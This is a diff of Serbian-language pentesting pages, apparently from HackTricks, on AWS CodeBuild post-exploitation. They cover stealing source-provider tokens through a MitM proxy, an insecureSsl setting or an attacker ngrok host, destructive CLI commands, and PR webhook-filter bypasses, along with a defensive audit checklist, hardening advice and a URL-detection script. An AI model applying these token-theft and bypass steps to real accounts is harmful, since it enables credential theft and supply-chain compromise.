diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index edb680429..d969443bf 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,43 +4,43 @@
## CodeBuild
-Za više informacija, proverite:
+Za više informacija, pogledajte:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
-### Proverite Tajne
+### Proverite tajne
-Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ove **kredencijale će biti sačuvane kao tajne u menadžeru tajni**.\
-Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu.
+Ako su akreditive postavljene u Codebuild-u za povezivanje sa Github, Gitlab ili Bitbucket u vidu personal tokens, lozinki ili OAuth token access, ove **akreditive će biti sačuvane kao tajne u secret manager-u**.\
+Dakle, ako imate pristup za čitanje secret manager-a, moći ćete da dobijete te tajne i pivotirate na povezanu platformu.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
-### Zloupotreba Pristupa CodeBuild Repo-u
+### Abuse CodeBuild Repo Access
-Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup kod repozitorijumu** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
+Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup code repo-u** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
-**CodeBuild projekat mora imati pristup** konfigurisanoj izvornoj platformi, bilo putem **IAM uloge** ili sa github/bitbucket **tokenom ili OAuth pristupom**.
+**CodeBuild projekat mora imati pristup** konfigurisanom source provider-u, bilo preko **IAM role** ili sa github/bitbucket **token-om ili OAuth pristupom**.
-Napadač sa **povišenim dozvolama u CodeBuild-u** mogao bi zloupotrebiti ovaj konfigurisani pristup da otkrije kod konfigurisane repozitorije i druge gde postavljeni kredencijali imaju pristup.\
-Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svaki repozitorijum kojem konfigurisani kredencijali imaju pristup** (napomena: aws web će ih sve navesti za vas):
+Napadač sa **povišenim privilegijama nad CodeBuild-om** može zloupotrebiti ovaj konfigurisan pristup da leak-uje kod konfigurisanog repoa i drugih repo-a kojima podešene kredencijale imaju pristup.\
+Da bi to uradio, napadač bi samo trebalo da **promeni repository URL na svaki repo kojem konfiguracione kredencijale imaju pristup** (napomena: aws web će vam ih sve navesti):
-I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**.
+I **promeni Buildspec komande da exfiltrate svaki repo**.
> [!WARNING]
-> Međutim, ovaj **zadatak je ponavljajući i zamoran** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\
-> Ili možda ima? Proverite sledeću sekciju
+> Međutim, ovaj **zadatak je repetitivan i zamoran** i ako je github token konfigurisan sa **write permissions**, napadač **neće moći da (ab)use te permisije** jer nema pristup tokenu.\
+> Или да ли може? Proverite sledeći odeljak
-### Otkriće Pristupnih Tokena iz AWS CodeBuild
+### Leaking Access Tokens from AWS CodeBuild
-Možete otkriti pristup dat u CodeBuild platformama kao što je Github. Proverite da li je bilo datog pristupa spoljnim platformama sa:
+You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
```bash
aws codebuild list-source-credentials
```
@@ -48,9 +48,17 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
+### Izvršavanje nepouzdanih PR-ova usled pogrešne konfiguracije webhook filtera
+
+Ako su webhook filters slabi, eksterni napadači mogu da nateraju svoje PRs da budu izgrađeni u privilegovanim CodeBuild projektima i zatim izvrše proizvoljan kod u CI.
+
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}
+
### `codebuild:DeleteProject`
-Napadač bi mogao da obriše ceo CodeBuild projekat, uzrokujući gubitak konfiguracije projekta i utičući na aplikacije koje se oslanjaju na projekat.
+Napadač bi mogao izbrisati čitav CodeBuild projekat, što bi dovelo do gubitka konfiguracije projekta i uticalo na aplikacije koje se oslanjaju na taj projekat.
```bash
aws codebuild delete-project --name
```
@@ -58,19 +66,19 @@ aws codebuild delete-project --name
### `codebuild:TagResource` , `codebuild:UntagResource`
-Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
+Napadač može dodavati, menjati ili uklanjati tags sa CodeBuild resursa, što može narušiti raspodelu troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tags.
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
+**Potencijalni uticaj**: Poremećaj u raspodeli troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na tagovima.
### `codebuild:DeleteSourceCredentials`
-Napadač bi mogao da obriše izvorne akreditive za Git repozitorijum, što bi uticalo na normalno funkcionisanje aplikacija koje se oslanjaju na repozitorijum.
+Napadač može izbrisati kredencijale izvora za Git repository, što bi omelo normalno funkcionisanje aplikacija koje zavise od tog repository-ja.
```sql
aws codebuild delete-source-credentials --arn
```
-**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na pogođeni repozitorijum zbog uklanjanja izvora kredencijala.
+**Mogući uticaj**: Prekid normalnog rada aplikacija koje zavise od pogođenog repozitorijuma zbog uklanjanja kredencijala za pristup izvornom kodu.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index df75f1034..b5b297d64 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Vraćanje Github/Bitbucket konfigurisani tokens
+## Oporavi konfigurisane Github/Bitbucket Tokens
-Prvo proverite da li postoje konfigurisani source credentials koje možete leak:
+Prvo proveri da li postoje konfigurisani source credentials koje možeš leak:
```bash
aws codebuild list-source-credentials
```
### Putem Docker Image
-Ako primetite da je autentikacija, na primer za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
+Ako ustanovite da je autentifikacija, npr. za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
-Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
+U tu svrhu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
-Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je veoma osnovni Docker image koji će podesiti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To će vam omogućiti da presretnete većinu saobraćaja hosta označenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT označenom u **`SSL_CERT_FILE`**.
+Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovni Docker image koji će postaviti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**.
-1. **Create & Upload your own Docker MitM image**
-- Pratite instrukcije iz repo-a da postavite vašu proxy IP adresu i SSL cert i **build the docker image**.
-- **DO NOT SET `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u.
-- Možete koristiti **`ngrok`** kao npr. `ngrok tcp 4444` da setujete proxy na vaš host
-- Kada imate izgrađen Docker image, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
-- Kreirajte **new Codebuild project** ili **modify** environment postojećeg.
-- Podesite projekat da koristi **previously generated Docker image**
+1. **Kreirajte i otpremite svoj Docker MitM image**
+- Sledite instrukcije iz repo-a da podesite IP adresu proxy-ja i vaš SSL sertifikat i **izgradite Docker image**.
+- **NE PODEŠAVAJTE `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u.
+- Možete koristiti **`ngrok`** npr. `ngrok tcp 4444` da podesite proxy na vaš host
+- Kada izgradite Docker image, **otpremite ga u javni repo** (Dockerhub, ECR...)
+2. **Podesite environment**
+- Kreirajte **novi Codebuild project** ili **izmenite** environment postojećeg.
+- Podesite projekat da koristi **prethodno generisani Docker image**
-3. **Set the MitM proxy in your host**
+3. **Podesite MitM proxy na vašem hostu**
-- Kao što je navedeno u **Github repo** možete koristiti nešto kao:
+- Kao što je naznačeno u **Github repo** možete koristiti nešto poput:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> **mitmproxy verzija koja je korišćena bila je 9.0.1**, izveštavano je da sa verzijom 10 ovo možda neće raditi.
+> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
-4. **Pokrenite build & uhvatite kredencijale**
+4. **Pokrenite build i uhvatite kredencijale**
-- Možete videti token u **Authorization** headeru:
+- Možete videti token u **Authorization** zaglavlju:
-Ovo se takođe može uraditi iz aws cli koristeći nešto poput
+Ovo se takođe može uraditi iz aws cli pomoću nečeg poput
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### Via insecureSSL
+### Putem insecureSSL
-**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na webu i možete ga promeniti samo preko API-ja.\
-Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji platforma nudi.
+**Codebuild** projekti imaju podešavanje zvano **`insecureSsl`** koje je skriveno u web interfejsu i može se menjati samo preko API-ja.\
+Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata platforme**.
- Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
```bash
aws codebuild batch-get-projects --name
```
- Zatim, sa prikupljenim informacijama možeš ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta — obrati pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju).
-- Pored toga, dodaj i env promenljive **http_proxy** i **https_proxy** koje pokazuju na tvoj tcp ngrok, na primer:
+- Takođe, dodaj i promenljive okruženja **http_proxy** i **https_proxy** koje upućuju na tvoj tcp ngrok, na primer:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
+- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Na kraju, kliknite na **Build the project**, **kredencijali** će biti **poslati u običnom tekstu** (base64) na mitm port:
+- Na kraju, kliknite na **Build the project**, **credentials** će biti poslati nešifrovano (base64) na mitm port:
-### ~~Putem HTTP protokola~~
+### ~~Preko HTTP protokola~~
-> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde u sedmici 20. februara 2023. (mislim da u petak). Tako da napadač više ne može da je iskoristi :)**
+> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje koja počinje 20. februara 2023. (Mislim da je to bio petak). Dakle, napadač je više ne može zloupotrebiti :)**
-Napadač sa **povišenim privilegijama nad CodeBuild-om mogao bi da izazove leak konfigurisanog Github/Bitbucket tokena** ili, ako su privilegije konfigurisane preko OAuth-a, **privremeni OAuth token korišćen za pristup kodu**.
+Napadač sa **povišenim privilegijama u CodeBuild mogao bi da leak-uje konfigurisan Github/Bitbucket token** ili, ako su permisije konfigurisanе preko OAuth-a, **privremeni OAuth token koji se koristi za pristup kodu**.
-- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
+- Napadač može da doda environment promenljive **http_proxy** i **https_proxy** u CodeBuild projekat koje pokazuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
-- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
-- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
+- Zatim promenite URL github repoa da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
+- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
+- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije:
```sh
aws codebuild start-build --project-name
```
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Na kraju, **credentials** će biti **poslati u čistom tekstu** (base64) na mitm port:
> [!WARNING]
-> Sada attacker može da koristi token sa svoje mašine, da izlista sve privilegije koje token ima i da ih (ab)use lakše nego direktnim korišćenjem CodeBuild servisa.
+> Sada napadač može da koristi token sa svoje mašine, izlista sve privilegije koje poseduje i (ab)use lakše nego da direktno koristi CodeBuild servis.
-## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+## Izvršavanje nepouzdanih PR-ova putem pogrešne konfiguracije webhook filtera
-Neispravno konfigurisani CodeBuild GitHub webhooks koji koriste neanchored `ACTOR_ID` regex-e dozvoljavaju *untrusted* PR-ovima da pokrenu privilegovane builds. Ako je allowlist poput `123456|7890123` bez `^`/`$`, bilo koji ID koji sadrži jedan od tih substring-ova će odgovarati. Pošto su GitHub user ID-ovi sekvencijalni, attacker može da se utrkuje da registruje “eclipsing” ID (superstring od poverljivog ID-a) i tako pokrene build.
+Za lanac zaobilaženja webhook-a pokrenut PR-om (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), proveri:
-**Exploit path**
-
-1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
-2. Obtain an eclipsing GitHub ID:
-- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
-- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
-3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
-4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
-5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
-
-## References
-- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md
new file mode 100644
index 000000000..0c0122d36
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md
@@ -0,0 +1,235 @@
+# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Ovaj vektor napada se javljа kada je javni PR workflow povezan sa privilegovanim CodeBuild projektom koji ima slabe kontrole webhook-a.
+
+Ako eksterni napadač uspe da natera CodeBuild da izvrši njihov PR, obično može dobiti arbitrary code execution unutar build-a (build scripts, dependency hooks, test scripts, itd.), a zatim pivot-ovati ka tajnama, IAM credential-ima, ili source-provider credentials.
+
+## Zašto je ovo opasno
+
+CodeBuild webhook filteri se evaluiraju pomoću regex pattern-a (za filtre koji nisu `EVENT`). U `ACTOR_ACCOUNT_ID` filteru to znači da slab pattern može poklopiti više korisnika nego što je namera.
+Ako se nepoverljivi PR-ovi build-uju u projektu koji ima privilegovane AWS role ili GitHub credential-e, to može postati potpuna supply-chain kompromitacija.
+
+Wiz je pokazao praktičan lanac gde:
+
+1. Webhook actor allowlist je koristio ne-anchored regex.
+2. Napadač je registrovao GitHub ID koji se poklapao kao superstring trusted ID-a.
+3. Zlonamerni PR je pokrenuo CodeBuild.
+4. Izvršenje koda u buildu je iskorišćeno za dump-ovanje memorije i vraćanje source-provider credential-a/tokena.
+
+## Misconfigurations koje omogućavaju izvršavanje eksternog PR koda
+
+Ispod su high-risk greške i kako ih napadači zloupotrebljavaju:
+
+1. **`EVENT` filters allow untrusted triggers**
+- Uobičajeni rizični eventi: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
+- Drugi eventi koji takođe mogu postati opasni ako su vezani za privilegovane build-ove: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
+- Loše: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` u privilegovanom projektu.
+- Bolje: koristite PR comment approval i minimizirajte trigger evente za privilegovane projekte.
+- Zloupotreba: napadač otvori/azurira PR ili push-uje na branch koji kontroliše, i njihov kod se izvršava u CodeBuild-u.
+
+2. **`ACTOR_ACCOUNT_ID` regex is weak**
+- Loše: unanchored pattern-i kao `123456|7890123`.
+- Bolje: exact-match anchoring `^(123456|7890123)$`.
+- Zloupotreba: regex over-match dozvoljava neautorizovanim GitHub ID-evima da prođu kroz allowlist.
+
+3. **Other regex filters are weak or missing**
+- `HEAD_REF`
+- Loše: `refs/heads/.*`
+- Bolje: `^refs/heads/main$` (ili eksplicitna lista trusted grana)
+- `BASE_REF`
+- Loše: `.*`
+- Bolje: `^refs/heads/main$`
+- `FILE_PATH`
+- Loše: nema ograničenja na putanje
+- Bolje: isključiti rizične fajlove kao `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
+- `COMMIT_MESSAGE`
+- Loše: trust marker sa labavim match-om kao `trusted`
+- Bolje: ne koristiti commit poruku kao trust boundary za izvršenje PR-a
+- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
+- Loše: `.*` u org/global webhooks
+- Bolje: samo tačna repo/org poklapanja
+- `WORKFLOW_NAME`
+- Loše: `.*`
+- Bolje: tačno ime workflow-a (ili izbegavati ovo kao trust kontrolu)
+- Zloupotreba: napadač pažljivo gradi ref/path/message/repo kontekst da zadovolji permisivni regex i okine build.
+
+4. **`excludeMatchedPattern` is misused**
+- Podešavanje ovog flag-a pogrešno može invertovati nameravanu logiku.
+- Loše: `FILE_PATH '^buildspec\\.yml$'` sa `excludeMatchedPattern=false` kada je namera bila da se blokiraju izmene buildspec-a.
+- Bolje: isti pattern sa `excludeMatchedPattern=true` da se zabrani build koji dira `buildspec.yml`.
+- Zloupotreba: branitelji misle da zabranjuju rizične evente/putanje/aktore, ali zapravo ih dopuštaju.
+
+5. **Multiple `filterGroups` create accidental bypasses**
+- CodeBuild evaluira grupe kao OR (jedna prolazna grupa je dovoljna).
+- Loše: jedna stroga grupa + jedna permisivna fallback grupa (npr. samo `EVENT=PULL_REQUEST_UPDATED`).
+- Bolje: ukloniti fallback grupe koje ne nameću actor/ref/path ograničenja.
+- Zloupotreba: napadač treba da zadovolji samo najslabiju grupu.
+
+6. **Comment approval gate disabled or too permissive**
+- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` je najmanje sigurno.
+- Previše široke role odobravaoca smanjuju kontrolu.
+- Loše: `requiresCommentApproval=DISABLED`.
+- Bolje: `ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS` sa minimalnim rolama odobravaoca.
+- Zloupotreba: fork/drive-by PR-ovi se automatski izvršavaju bez odobrenja trusted maintenara.
+
+7. **No restrictive branch/path strategy for PR builds**
+- Nedostatak defense-in-depth sa `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
+- Loše: samo `EVENT` + `ACTOR_ACCOUNT_ID`, bez ref/path kontrola.
+- Bolje: kombinovati tačan `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` restrikcije.
+- Zloupotreba: napadač menja build inpute (buildspec/CI/dependencies) i dobija arbitrary command execution.
+
+8. **Public visibility + status URL exposure**
+- Javne build/check URL-ove poboljšavaju attacker recon i iterativno testiranje.
+- Loše: `projectVisibility=PUBLIC_READ` sa osetljivim logovima/configom u javnim build-ovima.
+- Bolje: čuvati projekte privatnim osim ako postoji jak business razlog, i sanitizovati logove/artifakte.
+- Zloupotreba: napadač otkriva pattern-e/projekta ponašanje, pa podešava payload-e i pokušaje bypass-a.
+
+## Token leakage from memory
+
+Wiz-ov write-up objašnjava da su source-provider credential-i prisutni u runtime kontekstu build-a i mogu biti ukradeni nakon kompromitovanja build-a (na primer, kroz memory dumping), omogućavajući takeover repozitorijuma ako su scope-ovi široki.
+
+AWS je uveo hardening nakon otkrića, ali osnovna lekcija ostaje: nikada ne izvršavajte untrusted PR kod u privilegovanim build kontekstima i pretpostavite da će napadač-kontrolisani build pokušati theft of credential-a.
+
+Za dodatne tehnike krađe credential-a u CodeBuild, pogledajte takođe:
+
+{{#ref}}
+aws-codebuild-token-leakage.md
+{{#endref}}
+
+## Finding CodeBuild URLs in GitHub PRs
+
+Ako CodeBuild prijavljuje commit status nazad na GitHub, CodeBuild build URL se obično pojavljuje u:
+
+1. **PR page** -> **Checks** tab (ili status linija u Conversation/Commits).
+2. **Commit page** -> status/checks sekcija -> **Details** link.
+3. **PR commits list** -> kliknite na check context priključen za commit.
+
+Za javne projekte, ovaj link može otkriti build metadata/configuration neautentifikovanim korisnicima.
+
+
+Script: detect CodeBuild URLs in a PR and test if they look public
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Usage:
+# ./check_pr_codebuild_urls.sh
+#
+# Requirements: gh, jq, curl
+
+OWNER="${1:?owner}"
+REPO="${2:?repo}"
+PR="${3:?pr_number}"
+
+for bin in gh jq curl timeout; do
+command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
+done
+
+tmp_commits="$(mktemp)"
+tmp_urls="$(mktemp)"
+trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
+
+gh_api() {
+timeout 20s gh api "$@" 2>/dev/null || true
+}
+
+# Get all commit SHAs in the PR (bounded call to avoid hangs)
+gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
+if [ ! -s "$tmp_commits" ]; then
+echo "[!] No commits found (or API call timed out/failed)." >&2
+exit 1
+fi
+
+echo "[*] PR commits:"
+cat "$tmp_commits"
+echo
+
+echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
+
+while IFS= read -r sha; do
+[ -z "$sha" ] && continue
+
+# Classic commit statuses (target_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
+--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
+
+# GitHub Checks API (details_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
+--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
+done < "$tmp_commits" | sort -u > "$tmp_urls"
+
+grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
+
+echo
+echo "[*] Public-access heuristic:"
+echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
+echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
+echo
+
+cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
+if [ -z "$cb_urls" ]; then
+echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
+exit 0
+fi
+
+while IFS= read -r url; do
+[ -z "$url" ] && continue
+final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
+code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
+
+if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
+verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
+elif [ "$code" = "200" ]; then
+verdict="POTENTIALLY_PUBLIC"
+else
+verdict="UNKNOWN_CHECK_MANUALLY"
+fi
+
+printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
+done <<< "$cb_urls"
+```
+Testirano sa:
+```bash
+bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
+```
+
+
+## Brzi kontrolni spisak za reviziju
+```bash
+# Enumerate projects
+aws codebuild list-projects
+
+# Inspect source/webhook configuration
+aws codebuild batch-get-projects --names
+
+# Inspect global source credentials configured in account
+aws codebuild list-source-credentials
+```
+Pregledajte svaki projekat zbog:
+
+- `webhook.filterGroups` koji sadrže PR događaje.
+- obrasci `ACTOR_ACCOUNT_ID` koji nemaju početne i krajnje oznake `^...$`.
+- `pullRequestBuildPolicy.requiresCommentApproval` podešen na `DISABLED`.
+- Nedostatka ograničenja grana/putanja.
+- `serviceRole` visokih privilegija.
+- Rizičnog opsega i ponovne upotrebe kredencijala izvora.
+
+## Smernice za pojačanje bezbednosti
+
+1. Zahtevajte odobrenje komentara za PR buildove (`ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS`).
+2. Ako koristite allow-liste za actore, uokvirite regex-e (koristite ^ i $) i držite ih preciznim.
+3. Dodajte `FILE_PATH` ograničenja da sprečite nepouzdane izmene `buildspec.yml` i CI skripti.
+4. Odvojite pouzdane release buildove od nepouzdanih PR buildova u različite projekte/role.
+5. Koristite fine-grained, najmanje privilegovane tokene provajdera izvora (poželjno koristiti posvećene niskoprivilegovane identitete).
+6. Kontinuirano proveravajte webhook filtere i korišćenje kredencijala izvora.
+
+## References
+
+- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
+- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
+- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}